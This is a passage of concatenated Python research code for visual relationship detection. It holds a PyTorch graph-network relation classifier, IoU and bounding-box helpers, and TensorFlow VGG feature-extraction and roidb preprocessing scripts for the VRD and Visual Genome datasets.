---------# # self.fc_so_vis = FC(n_hid*2, n_hid) # # ---- sub obj concat ---------# # self.fc_so_sem = FC(n_hid*2, n_hid) # ---- all the feature into hidden space -------# self.fc_fusion = FC(n_fusion, n_hid) self.fc_rel = FC(final_fusion, edge_types, relu=False) if self.use_vis: self.fc_cls = FC(4096, node_types, relu=False) else: self.fc_cls = FC(300, node_types, relu=False) self.fc_cls_feat = FC(node_types, self.cls_hid) self.dropout_prob = do_prob self.init_weights() def init_weights(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.1) def node2edge(self, x, rel_rec, rel_send): receivers = torch.matmul(rel_rec, x) senders = torch.matmul(rel_send, x) edges = torch.cat([receivers, senders], dim=2) return edges def edge2node(self, x, rel_rec, rel_send): new_rec_rec = rel_rec.permute(0,2,1) weight_rec = torch.sum(new_rec_rec, -1).float() weight_rec = weight_rec + (weight_rec==0).float() weight_rec = torch.unsqueeze(weight_rec, -1).expand(weight_rec.size(0), weight_rec.size(1), x.size(-1)) incoming = torch.matmul(new_rec_rec, x) incoming = incoming / weight_rec new_rec_send = rel_send.permute(0,2,1) weight_send = torch.sum(new_rec_send, -1).float() weight_send = weight_send + (weight_send==0).float() weight_send = torch.unsqueeze(weight_send, -1).expand(weight_send.size(0), weight_send.size(1), x.size(-1)) outgoing = torch.matmul(new_rec_send, x) outgoing = outgoing / weight_send nodes = torch.cat([incoming, outgoing], -1) # nodes = (incoming + outgoing) * 0.5 # nodes = incoming + outgoing # nodes = outgoing # nodes = incoming return nodes def forward(self, inputs, spatial_feats, rel_rec, rel_send, bbox_loc): x = inputs.view(inputs.size(0), inputs.size(1), -1) batch_size = inputs.size(0) n_atoms = inputs.size(1) n_edges = rel_rec.size(1) if self.use_vis: x_v = self.fc_vis(x[:, :, :4096]) #[batch_size, num_nodes, n_hid] node_feats = x_v if self.use_sem: x_s = self.fc_sem(x[:, :, 4096:]) #[batch_size, num_nodes, n_hid] node_feats = torch.cat([node_feats, x_s], -1) x_cls = self.fc_cls(x[:, :, :4096]) if self.use_cls: e_cls = self.fc_cls_feat(x_cls) node_feats = torch.cat([node_feats, e_cls], -1) else: x_s = self.fc_sem(x) node_feats = x_s x_cls = self.fc_cls(x) node_feats = self.fc_fusion(node_feats) if self.use_spatial: x_l = self.fc_spatial(spatial_feats) edge_feats = x_l else: edge_feats = self.mlp1(self.node2edge(node_feats, rel_rec, rel_send)) x = edge_feats x = self.mlp_e2n(self.edge2node(x, rel_rec, rel_send)) x = self.mlp2(x) self.node_feats = x x = self.node2edge(x, rel_rec, rel_send) # # n2e # x = self.mlp4(x) # x = self.edge2node(x, rel_rec, rel_send) # x = self.mlp5(x) # x = self.node2edge(x, rel_rec, rel_send) # [e_{ij}^1; e_{ij}^2] x = torch.cat((x, edge_feats), dim=2) # Skip connection self.edge_feats = self.mlp3(x) # e_{ij}^2 # self.edge_feats = self.mlp4(x) if self.use_loc: e_loc = self.fc_loc(bbox_loc) self.edge_feats = torch.cat([self.edge_feats, e_loc], -1) output = self.fc_rel(self.edge_feats) return output, x_cls --- FILE SEPARATOR --- import numpy as np import cv2 import os import json import ipdb def restore_from_npy(sess, restore_var): vgg_npy = np.load('../data/pretrained/VGG_imagenet.npy') vgg_npy = vgg_npy[()] keys_1 = ['conv1_1', 'conv1_1', 'conv1_2', 'conv1_2', \ 'conv2_1', 'conv2_1', 'conv2_2', 'conv2_2', \ 'conv3_1', 'conv3_1', 'conv3_2', 'conv3_2', 'conv3_3', 'conv3_3', \ 'conv4_1', 'conv4_1', 'conv4_2', 'conv4_2', 'conv4_3', 'conv4_3', \ 'conv5_1', 'conv5_1', 'conv5_2', 'conv5_2', 'conv5_3', 'conv5_3', \ 'fc6', 'fc6', 'fc7', 'fc7'] keys_2 = ['weights', 'biases', 'weights', 'biases', \ 'weights', 'biases', 'weights', 'biases', \ 'weights', 'biases', 'weights', 'biases', 'weights', 'biases', \ 'weights', 'biases', 'weights', 'biases', 'weights', 'biases', \ 'weights', 'biases', 'weights', 'biases', 'weights', 'biases', \ 'weights', 'biases', 'weights', 'biases'] for ind, var in enumerate(restore_var): sess.run(var.assign(vgg_npy[keys_1[ind]][keys_2[ind]])) return def read_roidb(roidb_path): '''python2''' roidb_file = np.load(roidb_path) key = roidb_file.keys()[0] roidb_temp = roidb_file[key] roidb = roidb_temp[()] return roidb def generate_batch(N_total, N_each): """ This file is used to generate index of the training batch. Arg: N_total: N_each: out_put: index_box: the corresponding index if the total number can divide the batch_num, just split them else enlarge the index set to be the minimum miltiple and randomly choose from the total set as the padding indexes """ num_batch = np.int32(N_total/N_each) if N_total%N_each == 0: index_box = range(N_total) else: index_box = np.empty(shape=[N_each*(num_batch+1)],dtype=np.int32) index_box[0:N_total] = range(N_total) N_rest = N_each*(num_batch+1) - N_total index_box[N_total:] = np.random.randint(0,N_total,N_rest) return index_box def check_path_exists(full_log_dir): if os.path.exists(full_log_dir): pass else: os.mkdir(full_log_dir) def generate_rela_info(au_box, index, N_each_pair): s_id = np.int32(index[0]) o_id = np.int32(index[1]) sbox = au_box[s_id] obox = au_box[o_id] N_s = len(sbox) N_o = len(obox) sa = np.random.randint(0, N_s, [N_each_pair,]) # randomly extract N_each_pair(5 in the config) of the detected boxes oa = np.random.randint(0, N_o, [N_each_pair,]) # whose iou larger than the threhold sbox_use = sbox[sa] obox_use = obox[oa] return sbox_use, obox_use def box_id(ori_box, uni_box): idx = [] for i in range(len(ori_box)): for j in range(len(uni_box)): if np.array_equal(ori_box[i], uni_box[j]): idx.append(j) return idx def compute_iou_each(box1, box2): ''' function: calculate the iou based on the box ordinates box1: [x_min, y_min, x_max, y_max] ''' xA = max(box1[0], box2[0]) yA = max(box1[1], box2[1]) xB = min(box1[2], box2[2]) yB = min(box1[3], box2[3]) if xB<xA or yB<yA: IoU = 0 else: area_I = (xB - xA + 1) * (yB - yA + 1) area1 = (box1[2] - box1[0] + 1)*(box1[3] - box1[1] + 1) area2 = (box2[2] - box2[0] + 1)*(box2[3] - box2[1] + 1) IoU = area_I/float(area1 + area2 - area_I) return IoU def compute_distance(box1, box2): cx1 = (box1[0] + box1[2])/2.0 cy1 = (box1[1] + box1[3])/2.0 cx2 = (box2[0] + box2[2])/2.0 cy2 = (box2[1] + box2[3])/2.0 x_min = min(box1[0], box2[0]) y_min = min(box1[1], box2[1]) x_max = max(box1[2], box2[2]) y_max = max(box1[3], box2[3]) I = (cx1 - cx2)**2 + (cy1 - cy2)**2 U = (x_min - x_max)**2 + (y_min - y_max)**2 dis = np.sqrt(I/float(U)) return dis def iou_dis(iou_thre=0.5, dis_thre=0.45): roidb = read_roidb('./data/vrd_rela_graph_roidb.npz') train = roidb['train'] test = roidb['test'] new_roidb_test = [] for i in range(len(test)): new_roidb_use = copy.deepcopy(test[i]) roidb_use = test[i] keep_index = [] for j in range(len(roidb_use['sub_box_dete'])): sub_box = roidb_use['sub_box_dete'][j] obj_box = roidb_use['obj_box_dete'][j] iou = compute_iou_each(sub_box, obj_box) dis = compute_distance(sub_box, obj_box) if (iou>iou_thre) or (dis<dis_thre): keep_index.append(j) new_roidb_use['sub_box_dete'] = roidb_use['sub_box_dete'][keep_index] new_roidb_use['obj_box_dete'] = roidb_use['obj_box_dete'][keep_index] new_roidb_use['sub_dete'] = roidb_use['sub_dete'][keep_index] new_roidb_use['obj_dete'] = roidb_use['obj_dete'][keep_index] new_roidb_use['rela_dete'] = roidb_use['rela_dete'][keep_index] new_roidb_use['sub_score'] = roidb_use['sub_score'][keep_index] new_roidb_use['obj_score'] = roidb_use['obj_score'][keep_index] # print(j, len(keep_index), len(roidb_use['sub_box_dete'])) new_roidb_test.append(new_roidb_use) # save the object pairs which meet the <iou-dis> constrain new_roidb = {} new_roidb['train'] = roidb['train'] new_roidb['test'] = new_roidb_test np.savez('./data/graph_roidb_iou_dis_{}_{}.npz'.format(iou_thre*10, dis_thre*10), new_roidb) def compute_iou(box, proposal): """ compute the IoU between box with proposal Arg: box: [x1,y1,x2,y2] proposal: N*4 matrix, each line is [p_x1,p_y1,p_x2,p_y2] output: IoU: N*1 matrix, every IoU[i] means the IoU between box with proposal[i,:] """ len_proposal = np.shape(proposal)[0] IoU = np.empty([len_proposal,1]) for i in range(len_proposal): xA = max(box[0], proposal[i,0]) yA = max(box[1], proposal[i,1]) xB = min(box[2], proposal[i,2]) yB = min(box[3], proposal[i,3]) if xB<xA or yB<yA: IoU[i,0]=0 else: area_I = (xB - xA + 1) * (yB - yA + 1) area1 = (box[2] - box[0] + 1)*(box[3] - box[1] + 1) area2 = (proposal[i,2] - proposal[i,0] + 1)*(proposal[i,3] - proposal[i,1] + 1) IoU[i,0] = area_I/float(area1 + area2 - area_I) return IoU def generate_au_box(unique_boxes, detected_box, iou_l): # extract the detected_box whose iou is larger than anyone in the unique ground truth boxes # return [num(unique_boxeds) * [box_use <== multi detected boxes # box_temp]] <== the ground truth box N_unique = len(unique_boxes) au_box = [] for i in range(N_unique): box_temp = unique_boxes[i] iou = compute_iou(box_temp, detected_box) index_temp = np.where(iou > iou_l)[0] box_use = detected_box[index_temp] box_use = np.vstack( (box_use, box_temp ) ) au_box.append(box_use) return au_box def im_preprocess(image_path): image = cv2.imread(image_path) im_orig = image.astype(np.float32, copy=True) im_orig -= np.array([[[102.9801, 115.9465, 122.7717]]]) im_shape = im_orig.shape im_size_min = np.min(im_shape[0:2]) im_size_max = np.max(im_shape[0:2]) target_size = 600 max_size = 1000 im_scale = float(target_size) / float(im_size_min) if np.round(im_scale * im_size_max) > max_size: im_scale = float(max_size) / float(im_size_max) # ipdb.set_trace() im = cv2.resize(im_orig, None, None, fx=im_scale, fy=im_scale, interpolation=cv2.INTER_LINEAR) im_shape_new = np.shape(im) im_use = np.zeros([1,im_shape_new[0], im_shape_new[1], im_shape_new[2]]) im_use[0,:,:,:] = im return im_use, im_scale def get_blob_pred(roidb_use, im_scale, N_each_batch, batch_id): blob = {} sub_box = roidb_use['sub_box_gt']*im_scale obj_box = roidb_use['obj_box_gt']*im_scale rela = np.int32(roidb_use['rela_gt']) index = roidb_use['index_pred'] # spatial = roidb_use['spatial_gmm_vec'] index_use = index[batch_id*N_each_batch: (batch_id+1)*N_each_batch] sub_box_use = sub_box[index_use,:] obj_box_use = obj_box[index_use,:] rela_use = rela[index_use] # spatial_use = spatial[index_use, :] blob['sub_box'] = sub_box_use blob['obj_box'] = obj_box_use blob['rela'] = rela_use # blob['spatial'] = spatial_use blob['image'] = roidb_use['image'] return blob def get_blob_rela(roidb_use, im_scale, N_each_batch, batch_id): blob = {} sub_box = roidb_use['sub_box_dete']*im_scale obj_box = roidb_use['obj_box_dete']*im_scale rela = np.int32(roidb_use['rela_dete']) index = roidb_use['index_rela'] # spatial = roidb_use['spatial_gmm_vec'] index_use = index[batch_id*N_each_batch: (batch_id+1)*N_each_batch] sub_box_use = sub_box[index_use,:] obj_box_use = obj_box[index_use,:] rela_use = rela[index_use] # spatial_use = spatial[index_use, :] blob['sub_box'] = sub_box_use blob['obj_box'] = obj_box_use blob['rela'] = rela_use # blob['spatial'] = spatial_use return blob def count_prior(): roidb = read_roidb('/DATA5_DB8/data/yhu/NRI/dsr_data/dsr_roidb.npz') train = roidb['train_roidb'] prior = np.zeros([100, 100, 70]) for i in range(len(train)): roidb_use = train[i] for j in range(len(roidb_use['rela_gt'])): sub_cls = int(roidb_use['sub_gt'][j]) obj_cls = int(roidb_use['obj_gt'][j]) rela_cls = int(roidb_use['rela_gt'][j]) prior[sub_cls, obj_cls, rela_cls] += 1 np.save('/DATA5_DB8/data/yhu/NRI/dsr_data/dsr_prior_count.npy', prior) prior_count = np.sum(prior, -1) prior_prob = prior_count/np.sum(prior_count) np.save('/DATA5_DB8/data/yhu/NRI/dsr_data/dsr_prior_prob.npy', prior_prob) return --- FILE SEPARATOR --- ''' Extract features by pretrained VGG checkpoints ''' from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf import numpy as np from ass_fun import * from vgg import VTranse_Vgg import ipdb from tqdm import tqdm import argparse import os parser = argparse.ArgumentParser() parser.add_argument('--dataset', type=str, default='vrd', help='dataset: vrd or vg') parser.add_argument('--data_type', type=str, default='pred', help='data_type: pred or rela') parser.add_argument('--ori_vgg', action='store_true', default=False, help='original vgg') parser.add_argument('--random_vgg', action='store_true', default=False, help='random initialize vgg') args = parser.parse_args() data_type = args.data_type dataset = args.dataset use_ori_vgg = args.ori_vgg use_random_vgg = args.random_vgg feat_save_path = '/DATA5_DB8/data/yhu/VTransE' print(args) if dataset == 'vrd' and data_type == 'pred': # ---------- vrd pred dataset ---------------# if use_ori_vgg: save_path = os.path.join(feat_save_path, 'ori_vrd_vgg_feats') elif use_random_vgg: save_path = os.path.join(feat_save_path, 'random_vrd_vgg_feats') else: save_path = os.path.join(feat_save_path, 'vrd_vgg_feats') roidb_path = '../data/vrd_roidb.npz' res_path = '../data/pretrained/vrd_vgg_pretrained.ckpt' N_each_batch = 30 is_rela = False elif dataset == 'vrd' and data_type == 'rela': # ---------- vrd rela dataset ----------# if use_ori_vgg: save_path = os.path.join(feat_save_path, 'ori_vrd_rela_vgg_feats') elif use_random_vgg: save_path = os.path.join(feat_save_path, 'random_vrd_rela_vgg_feats') else: save_path = os.path.join(feat_save_path, 'vrd_rela_vgg_feats') roidb_path = '../data/vrd_rela_roidb.npz' res_path = '../data/pretrained/vrd_vgg_pretrained.ckpt' N_each_batch = 50 is_rela = True elif dataset == 'vg' and data_type == 'pred': # ----------- vg dataset ---------------# if use_ori_vgg: save_path = os.path.join(feat_save_path, 'ori_vg_vgg_feats') else: save_path = os.path.join(feat_save_path, 'vg_vgg_feats') roidb_path = '../data/vg_roidb.npz' res_path = '../data/pretrained/vg_vgg_pretrained.ckpt' N_each_batch = 30 is_rela = False elif dataset == 'vg' and data_type == 'rela': # ----------- vg rela dataset ---------------# save_path = os.path.join(feat_save_path, 'vg_rela_vgg_feats') roidb_path = '../data/vg_rela_roidb.npz' res_path = '../data/pretrained/vg_vgg_pretrained.ckpt' N_each_batch = 128 is_rela = True check_path_exists(save_path) # ------ read roidb file ---------# roidb_read = read_roidb(roidb_path) train_roidb = roidb_read['train_roidb'] test_roidb = roidb_read['test_roidb'] N_train = len(train_roidb) N_test = len(test_roidb) pbar = tqdm(total=N_train+N_test) N_show = 100 # ------ Create Graph ------------# vnet = VTranse_Vgg() graph_name = vnet.create_graph train_func = vnet.extract_pred_fc test_func = vnet.extract_pred_fc graph_name(N_each_batch, save_path) total_var = tf.trainable_variables() restore_var = [var for var in total_var if 'vgg_16' in var.name] for var in restore_var: print(var) saver_res = tf.train.Saver(var_list = restore_var) with tf.Session() as sess: init = tf.global_variables_initializer() sess.run(init) if use_ori_vgg: # ------ restore from original vgg ---------# restore_from_npy(sess, restore_var) elif use_random_vgg: pass else: # ------ restore from fine-tuned vgg -------# saver_res.restore(sess, res_path) # ipdb.set_trace() t = 0.0 vnet.save_path = save_path + '/train' check_path_exists(vnet.save_path) for roidb_id in range(N_train): roidb_use = train_roidb[roidb_id] if len(roidb_use['rela_gt']) == 0: continue if os.path.exists(os.path.join(vnet.save_path, 'ob_fc7', os.path.basename(roidb_use['image'])+'.npy')): pass else: train_func(sess, roidb_use, is_rela) t = t + 1.0 if t % N_show == 0: print("t: {0}".format(t)) pbar.update(1) vnet.save_path = save_path + '/test' check_path_exists(vnet.save_path) for roidb_id in range(N_test): roidb_use = test_roidb[roidb_id] if len(roidb_use['rela_gt']) == 0: continue if os.path.exists(os.path.join(vnet.save_path, 'ob_fc7', os.path.basename(roidb_use['image'])+'.npy')): pass else: test_func(sess, roidb_use, is_rela) t = t + 1.0 if t % N_show == 0: print("t: {0}".format(t)) pbar.update(1) pbar.close() --- FILE SEPARATOR --- ''' Feed the path of vgg features into roidb file ''' import numpy as np import os import ipdb from ass_fun import * from tqdm import tqdm import gensim import h5py import json from sklearn.decomposition import PCA import argparse parser = argparse.ArgumentParser() parser.add_argument('--dataset', type=str, default='vrd', help='dataset: vrd or vg') parser.add_argument('--data_type', type=str, default='pred', help='data_type: pred or rela') parser.add_argument('--ori_vgg', action='store_true', default=False, help='original vgg') parser.add_argument('--random_vgg', action='store_true', default=False, help='random initialize vgg') args = parser.parse_args() data_type = args.data_type dataset = args.dataset use_ori_vgg = args.ori_vgg use_random_vgg = args.random_vgg print(args) #============= the max rela of one image ========================# def count_max_rela(train_roidb, test_roidb): rela_total = [] for name, roidb in zip(['train', 'test'], [train_roidb, test_roidb]): rela = np.zeros(len(roidb), dtype=np.int64) for i in range(len(roidb)): rela[i] = int(len(roidb[i]['rela_gt'])) r_max = np.max(rela) r_min = np.min(rela) r_mean = np.mean(rela) print("{0} | max: {1} | mean: {2} | min: {3}".format(name, r_max, r_mean, r_min)) # VRD # train | max: 34 | mean: 8.03042328042 | min: 1 # test | max: 41 | mean: 8.0 | min: 1 # VG # train | max: 490 | mean: 10.8853836355 | min: 1 # test | max: 352 | mean: 11.0894500735 | min: 1 rela_total.append(rela) return #============== pred the max objects in one image ======================# def unique_gt(box_gt, cls_gt, fc7): _, idx = np.unique(box_gt, axis=0, return_index=True) idx = np.sort(idx) uni_box_gt = box_gt[idx] uni_cls_gt = cls_gt[idx] uni_fc7 = fc7[idx] return uni_box_gt, uni_cls_gt, uni_fc7 def new_id(uni_box_gt, ori_box_gt, ori_cls_gt): new_idx = np.zeros_like(ori_cls_gt) for i in range(len(ori_box_gt)): for j in range(len(uni_box_gt)): if np.array_equal(ori_box_gt[i], uni_box_gt[j]): new_idx[i] = j return new_idx def pred_write_feat_into_roidb(save_path, train_roidb, test_roidb, dataset='vrd', edges_types = 70): edge_total = [] node_total = [] new_roidb = {} pbar = tqdm(total=len(train_roidb)+len(test_roidb)) for name, roidb in zip(['train', 'test'], [train_roidb, test_roidb]): full_path = save_path + '/' + name feat_name = ['pred_pool5', 'pred_fc7', 'pool5', 'fc7', 'sub_fc7', 'ob_fc7'] check_path_exists(full_path+'/uni_fc7') rela = np.zeros(len(roidb), dtype=np.int64) edges = [] nodes = [] for i in range(len(roidb)): #====== feats ============# sub_fc7 = np.load(os.path.join(full_path, 'sub_fc7', os.path.basename(roidb[i]['image'])+'.npy')) ob_fc7 = np.load(os.path.join(full_path, 'ob_fc7', os.path.basename(roidb[i]['image'])+'.npy')) fc7 = np.concatenate([sub_fc7, ob_fc7], 0) # sub_pool5 = np.load(os.path.join(full_path, 'sub_pool5', os.path.basename(roidb[i]['image'])+'.npy')) # ob_pool5 = np.load(os.path.join(full_path, 'ob_pool5', os.path.basename(roidb[i]['image'])+'.npy')) # pool5 = np.concatenate([sub_pool5, ob_pool5], 0) box_gt = np.concatenate([roidb[i]['sub_box_gt'], roidb[i]['obj_box_gt']], 0) cls_gt = np.concatenate([roidb[i]['sub_gt'], roidb[i]['obj_gt']], 0) uni_box_gt, uni_cls_gt, uni_fc7 = unique_gt(box_gt, cls_gt, fc7) sub_idx = new_id(uni_box_gt, roidb[i]['sub_box_gt'], roidb[i]['sub_gt']) obj_idx = new_id(uni_box_gt, roidb[i]['obj_box_gt'], roidb[i]['obj_gt']) # ipdb.set_trace() edge_matrix = np.zeros([len(uni_cls_gt), len(uni_cls_gt)]) + edges_types for j, x, y in zip(np.array(range(len(sub_idx))), sub_idx, obj_idx): edge_matrix[int(x)][int(y)] = roidb[i]['rela_gt'][j] nodes.append(len(uni_cls_gt)) edges.append(len(roidb[i]['rela_gt'])) roidb[i]['uni_box_gt'] = uni_box_gt roidb[i]['uni_gt'] = uni_cls_gt roidb[i]['edge_matrix'] = edge_matrix roidb[i]['sub_idx'] = sub_idx roidb[i]['obj_idx'] = obj_idx pred_pool5_path = os.path.join(full_path, 'pred_pool5', os.path.basename(roidb[i]['image'])+'.npy') pred_fc7_path = os.path.join(full_path, 'pred_fc7', os.path.basename(roidb[i]['image'])+'.npy') uni_fc7_path = os.path.join(full_path, 'uni_fc7', os.path.basename(roidb[i]['image'])+'.npy') img_fc7_path = os.path.join(full_path, 'fc7', os.path.basename(roidb[i]['image'])+'.npy') img_pool5_path = os.path.join(full_path, 'pool5', os.path.basename(roidb[i]['image'])+'.npy') if os.path.exists(uni_fc7_path): pass else: np.save(uni_fc7_path, uni_fc7) roidb[i]['pred_pool5'] = pred_pool5_path roidb[i]['pred_fc7'] = pred_fc7_path roidb[i]['uni_fc7'] = uni_fc7_path roidb[i]['img_fc7'] = img_fc7_path roidb[i]['img_pool5'] = img_pool5_path pbar.update(1) new_roidb[name] = roidb print("nodes: {0} | max: {1} | mean: {2} | min: {3}".format(name, np.max(nodes), np.mean(nodes), np.min(nodes))) print("edges: {0} | max: {1} | mean: {2} | min: {3}".format(name, np.max(edges), np.mean(edges), np.min(edges))) edge_total.append(edges) node_total.append(nodes) pbar.close() np.savez('../data/{}_pred_graph_roidb.npz'.format(dataset), new_roidb) return def rela_write_feat_into_roidb(save_path, train_roidb, test_roidb, dataset='vrd', edges_types = 70): edge_total = [] node_total = [] new_roidb = {} pbar = tqdm(total=len(test_roidb)+len(train_roidb)) # ------- test rela -------------# for name, roidb in zip(['train', 'test'], [train_roidb, test_roidb]): full_path = save_path + '/' + name # feat_name = ['pool5', 'fc7', 'sub_fc7', 'ob_fc7'] feat_name = ['pred_pool5', 'pred_fc7', 'pool5', 'fc7', 'sub_fc7', 'ob_fc7'] check_path_exists(full_path+'/uni_fc7') rela = np.zeros(len(roidb), dtype=np.int64) edges = [] nodes = [] for i in range(len(roidb)): #====== feats ============# sub_fc7 = np.load(os.path.join(full_path, 'sub_fc7', os.path.basename(roidb[i]['image'])+'.npy')) ob_fc7 = np.load(os.path.join(full_path, 'ob_fc7', os.path.basename(roidb[i]['image'])+'.npy')) fc7 = np.concatenate([sub_fc7, ob_fc7], 0) box_gt = np.concatenate([roidb[i]['sub_box_dete'], roidb[i]['obj_box_dete']], 0) cls_gt = np.concatenate([roidb[i]['sub_dete'], roidb[i]['obj_dete']], 0) uni_box_gt, uni_cls_gt, uni_fc7 = unique_gt(box_gt, cls_gt, fc7) sub_idx = new_id(uni_box_gt, roidb[i]['sub_box_dete'], roidb[i]['sub_dete']) obj_idx = new_id(uni_box_gt, roidb[i]['obj_box_dete'], roidb[i]['obj_dete']) edge_matrix = np.zeros([len(uni_cls_gt), len(uni_cls_gt)]) + edges_types for j, x, y in zip(np.array(range(len(sub_idx))), sub_idx, obj_idx): edge_matrix[int(x)][int(y)] = roidb[i]['rela_dete'][j] nodes.append(len(uni_cls_gt)) edges.append(len(roidb[i]['rela_gt'])) roidb[i]['uni_box_gt'] = uni_box_gt roidb[i]['uni_gt'] = uni_cls_gt roidb[i]['edge_matrix'] = edge_matrix roidb[i]['sub_idx'] = sub_idx roidb[i]['obj_idx'] = obj_idx pred_pool5_path = os.path.join(full_path, 'pred_pool5', os.path.basename(roidb[i]['image'])+'.npy') pred_fc7_path = os.path.join(full_path, 'pred_fc7', os.path.basename(roidb[i]['image'])+'.npy') uni_fc7_path = os.path.join(full_path, 'uni_fc7', os.path.basename(roidb[i]['image'])+'.npy') img_fc7_path = os.path.join(full_path, 'fc7', os.path.basename(roidb[i]['image'])+'.npy') img_pool5_path = os.path.join(full_path, 'pool5', os.path.basename(roidb[i]['image'])+'.npy') np.save(uni_fc7_path, uni_fc7) roidb[i]['pred_pool5'] = pred_pool5_path roidb[i]['pred_fc7'] = pred_fc7_path roidb[i]['uni_fc7'] = uni_fc7_path roidb[i]['img_fc7'] = img_fc7_path roidb[i]['img_pool5'] = img_pool5_path pbar.update(1) new_roidb[name] = roidb print("nodes: {0} | max: {1} | mean: {2} | min: {3}".format(name, np.max(nodes), np.mean(nodes), np.min(nodes))) print("edges: {0} | max: {1} | mean: {2} | min: {3}".format(name, np.max(edges), np.mean(edges), np.min(edges))) # train | max: 21 | mean: 6.95423280423 | min: 1 # test | max: 20 | mean: 7.00838574423 | min: 2 edge_total.append(edges) node_total.append(nodes) np.savez('../data/{}_rela_graph_roidb.npz'.format(dataset), new_roidb) pbar.close() return roidb def process_vrd_pred_instance_data(save_path): ''' function: Build the source data for instance-level training node feature :[num_instance, 4096+300] edge label: [num_instance, 4096+300] ''' data_dir = '../data' save_dir = save_path predicates_vec = np.load(os.path.join(data_dir, 'predicates_vec.npy')) objects_vec = np.load(os.path.join(data_dir, 'objects_vec.npy')) roidb_read = read_roidb(os.path.join(save_dir, 'graph_roidb.npz')) train_roidb = roidb_read['train'] test_roidb = roidb_read['test'] N_train = len(train_roidb) N_test = len(test_roidb) pbar = tqdm(total=N_train+N_test+N_test) def initial(N, roidb): sub_nodes = [] obj_nodes = [] edges = [] for i in range(N): roidb_use = roidb[i] uni_box = roidb_use['uni_box_gt'] sub_idx = box_id(roidb_use['sub_box_gt'], uni_box) obj_idx = box_id(roidb_use['obj_box_gt'], uni_box) nodes_feat = np.load(roidb_use['uni_fc7']) sub_feat = list(map(lambda x: nodes_feat[int(x)], sub_idx)) sub_feat = np.reshape(np.array(sub_feat), [-1, 4096]) obj_feat = list(map(lambda x: nodes_feat[int(x)], obj_idx)) obj_feat = np.reshape(np.array(obj_feat), [-1, 4096]) sub_sem = list(map(lambda x: objects_vec[int(x)], roidb_use['sub_gt'])) sub_sem = np.reshape(np.array(sub_sem),[-1, 300]) obj_sem = list(map(lambda x: objects_vec[int(x)], roidb_use['obj_gt'])) obj_sem = np.reshape(np.array(obj_sem),[-1, 300]) edge = roidb_use['rela_gt'] sub_node = np.concatenate([sub_feat, sub_sem], 1) obj_node = np.concatenate([obj_feat, obj_sem], 1) sub_nodes.append(sub_node) obj_nodes.append(obj_node) edges.append(edge) pbar.update(1) sub_nodes = np.concatenate(sub_nodes, 0) obj_nodes = np.concatenate(obj_nodes, 0) edges = np.concatenate(edges, 0) assert sub_nodes.shape[0] == edges.shape[0] return sub_nodes, obj_nodes, edges sub_nodes_train, obj_nodes_train, edges_train = initial(N_train, train_roidb) sub_nodes_val, obj_nodes_val, edges_val = initial(N_test, test_roidb) sub_nodes_test, obj_nodes_test, edges_test = initial(N_test, test_roidb) pbar.close() np.save(os.path.join(save_dir, 'instance_sub_nodes_train'), sub_nodes_train) np.save(os.path.join(save_dir, 'instance_obj_nodes_train'), obj_nodes_train) np.save(os.path.join(save_dir, 'instance_edges_train'), edges_train) np.save(os.path.join(save_dir, 'instance_sub_nodes_val'), sub_nodes_val) np.save(os.path.join(save_dir, 'instance_obj_nodes_val'), obj_nodes_val) np.save(os.path.join(save_dir, 'instance_edges_val'), edges_val) np.save(os.path.join(save_dir, 'instance_sub_nodes_test'), sub_nodes_test) np.save(os.path.join(save_dir, 'instance_obj_nodes_test'), obj_nodes_test) np.save(os.path.join(save_dir, 'instance_edges_test'), edges_test) return def process_vrd_rela_instance_data(save_path): ''' function: Build the source data for instance-level training node feature :[num_instance, 4096+300] edge label: [num_instance, 4096+300] ''' data_dir = '../data' save_dir = save_path predicates_vec = np.load(os.path.join(data_dir, 'predicates_vec.npy')) objects_vec = np.load(os.path.join(data_dir, 'objects_vec.npy')) roidb_read = read_roidb(os.path.join(save_dir, 'graph_roidb.npz')) train_roidb = roidb_read['train'] test_roidb = roidb_read['test'] # ipdb.set_trace() N_train = len(train_roidb) N_test = len(test_roidb) pbar = tqdm(total=N_train+N_test+N_test) def initial(N, roidb): sub_nodes = [] obj_nodes = [] edges = [] for i in range(N): roidb_use = roidb[i] uni_box = roidb_use['uni_box_gt'] sub_idx = box_id(roidb_use['sub_box_dete'], uni_box) obj_idx = box_id(roidb_use['obj_box_dete'], uni_box) nodes_feat = np.load(roidb_use['uni_fc7']) sub_feat = list(map(lambda x: nodes_feat[int(x)], sub_idx)) sub_feat = np.reshape(np.array(sub_feat), [-1, 4096]) obj_feat = list(map(lambda x: nodes_feat[int(x)], obj_idx)) obj_feat = np.reshape(np.array(obj_feat), [-1, 4096]) # sub_sem = list(map(lambda x: objects_vec[int(x)-1], roidb_use['sub_dete'])) sub_sem = list(map(lambda x: objects_vec[int(x)], roidb_use['sub_dete'])) sub_sem = np.reshape(np.array(sub_sem),[-1, 300]) # obj_sem = list(map(lambda x: objects_vec[int(x)-1], roidb_use['obj_dete'])) obj_sem = list(map(lambda x: objects_vec[int(x)], roidb_use['obj_dete'])) obj_sem = np.reshape(np.array(obj_sem),[-1, 300]) edge = roidb_use['rela_dete'] sub_node = np.concatenate([sub_feat, sub_sem], 1) obj_node = np.concatenate([obj_feat, obj_sem], 1) sub_nodes.append(sub_node) obj_nodes.append(obj_node) edges.append(edge) pbar.update(1) sub_nodes = np.concatenate(sub_nodes, 0) obj_nodes = np.concatenate(obj_nodes, 0) edges = np.concatenate(edges, 0) assert sub_nodes.shape[0] == edges.shape[0] return sub_nodes, obj_nodes, edges # sub_nodes_train, obj_nodes_train, edges_train = initial(N_train, train_roidb) sub_nodes_val, obj_nodes_val, edges_val = initial(N_test, test_roidb) sub_nodes_test, obj_nodes_test, edges_test = initial(N_test, test_roidb) pbar.close() # np.save(os.path.join(save_dir, 'instance_sub_nodes_train'), sub_nodes_train) # np.save(os.path.join(save_dir, 'instance_obj_nodes_train'), obj_nodes_train) # np.save(os.path.join(save_dir, 'instance_edges_train'), edges_train) np.save(os.path.join(save_dir, 'instance_sub_nodes_val'), sub_nodes_val) np.save(os.path.join(save_dir, 'instance_obj_nodes_val'), obj_nodes_val) np.save(os.path.join(save_dir, 'instance_edges_val'), edges_val) np.save(os.path.join(save_dir, 'instance_sub_nodes_test'), sub_nodes_test) np.save(os.path.join(save_dir, 'instance_obj_nodes_test'), obj_nodes_test) np.save(os.path.join(save_dir, 'instance_edges_test'), edges_test) return def get_path(dataset = 'vg', data_type = 'rela', use_ori_vgg=False): base_path = '/DATA5_DB8/data/yhu/VTransE/' if dataset 